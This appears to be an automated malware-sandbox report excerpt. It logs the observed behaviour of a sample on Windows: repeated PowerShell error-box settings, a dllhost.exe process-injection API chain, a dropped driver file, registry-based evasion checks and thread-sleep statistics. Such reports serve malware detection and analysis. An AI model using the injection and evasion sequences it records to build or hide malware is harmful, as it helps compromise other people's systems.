Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Source: C:\Windows\System32\dllhost.exe Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle, 68_2_0000000140001860
Source: C:\Windows\System32\dllhost.exe Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle, 73_2_0000000140001860
Source: C:\Windows\System32\dialer.exe System information queried: FirmwareTableInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5356 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4472 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4593 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1870 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8665
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 674
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4042
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1727
Source: C:\Windows\System32\winlogon.exe Window / User API: threadDelayed 9970
Source: C:\Windows\System32\lsass.exe Window / User API: threadDelayed 9942
Source: C:\Windows\System32\dwm.exe Window / User API: threadDelayed 9871
Source: C:\Windows\System32\dllhost.exe Window / User API: threadDelayed 560
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Dropped PE file which has not been started: C:\Windows\Temp\ihddniqxcjeb.sys Jump to dropped file
Source: C:\Windows\System32\dllhost.exe Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess
Source: C:\Windows\System32\dllhost.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dialer.exe Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess
Source: C:\Windows\System32\dllhost.exe Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess
Source: C:\Windows\System32\dllhost.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\conhost.exe API coverage: 5.0 %
Source: C:\Windows\System32\dialer.exe API coverage: 0.9 %
Source: C:\Windows\System32\conhost.exe API coverage: 5.0 %
Source: C:\Windows\System32\winlogon.exe API coverage: 6.0 %
Source: C:\Windows\System32\lsass.exe API coverage: 7.7 %
Source: C:\Windows\System32\svchost.exe API coverage: 5.1 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512 Thread sleep count: 5356 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512 Thread sleep count: 4472 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844 Thread sleep count: 4593 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476 Thread sleep count: 1870 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592 Thread sleep count: 8665 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432 Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1104 Thread sleep count: 674 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196 Thread sleep count: 4042 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6868 Thread sleep count: 1727 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 6996 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 3104 Thread sleep count: 9970 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3104 Thread sleep time: -9970000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7424 Thread sleep count: 9942 > 30
Source: C:\Windows\System32\lsass.exe TID: 7424 Thread sleep time: -9942000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6788 Thread sleep count: 242 > 30
Source: C:\Windows\System32\svchost.exe TID: 6788 Thread sleep time: -242000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7304 Thread sleep count: 9871 > 30
Source: C:\Windows\System32\dwm.exe TID: 7304 Thread sleep time: -9871000s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 2484 Thread sleep count: 560 > 30
Source: C:\Windows\System32\dllhost.exe TID: 2484 Thread sleep time: -56000s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 5580 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7444 Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7444 Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7592 Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7592 Thread sleep time: -252000s >= -30000s
